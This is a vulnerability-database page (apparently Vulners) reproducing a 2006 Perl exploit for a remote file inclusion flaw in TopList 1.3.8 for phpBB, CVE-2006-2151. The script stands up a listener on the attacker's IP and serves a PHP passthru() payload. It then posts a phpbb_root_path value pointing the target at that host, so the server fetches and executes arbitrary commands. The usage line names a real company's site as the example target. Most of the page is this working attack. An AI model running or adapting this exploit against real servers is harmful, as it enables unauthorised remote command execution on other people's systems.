TopList 1.3.8 - 'phpBB Hack' Remote File Inclusion (2)
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
| CVE-2006-2151 | 3 May 200610:00 | – | cve | |
| CVE-2006-2151 | 3 May 200610:00 | – | cvelist | |
| TopList 1.3.8 - 'phpBB Hack' Remote File Inclusion (1) | 27 Apr 200600:00 | – | exploitdb | |
| CVE-2006-2151 | 3 May 200610:02 | – | nvd | |
| Remote file inclusion | 3 May 200610:02 | – | prion |
# TopList Hack for PHPBB <= 1.3.8 Remote File Inclusion
# Based on http://milw0rm.com/exploits/1722
# Bug found by : [Oo]
#
# No more uploading php shells !!!
# This is my way of php include exploitation !!!
# Learn to play with sockets !!!
# FOX_MULDER ([email protected])
#!/usr/bin/perl
use LWP 5.64;
use IO::Socket;
use LWP::Simple;
(my $hostname, my $target, my $dir,my $command) = @ARGV;
if(@ARGV < 4) {
print "=======================================================================+\n";
print "TopList REMOTE COMMAND EXECUTION EXPLOIT by fox_mulder\@abv.bg |\n";
print "Usage: top.pl yourIP target /dir/ \"command\" |\n";
print "Example: top.pl 10.20.30.40 www.microsoft.com /forum/ \"uname -a\" |\n";
print "=======================================================================+\n";
exit;
}
print "[+]Creating listening socket . . .\n";
my $sock = new IO::Socket::INET (
LocalHost => "$hostname",
LocalPort => '9999',
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);
die "Could not create socket: $!\n" unless $sock;
if (my $pid = fork){
my $new_sock = $sock->accept();
my $request = <$new_sock>;
print $new_sock "HTTP/1.1 200 OK\n";
print $new_sock "Content-Length: $content_length\n";
print $new_sock "Content-Type: text/plain\n\n";
print $new_sock "<? error_reporting(0);passthru(\"$command\"); ?>\n";
close $new_sock;
exit;
}
print "[+]Injecting command . . .\n";
my $browser = LWP::UserAgent->new;
$browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');
my $url = "http://$target/$dir/toplist.php";
my $response = $browser->post( $url,
[
'f' => "toplist_top10",
'phpbb_root_path' => "http://$hostname:9999/blah.php"
]
);
die "Received invalid response type", $response->content_type
unless $response->content_type eq 'text/html';
print $response->content;
# milw0rm.com [2006-04-28]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Apr 2006 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.10978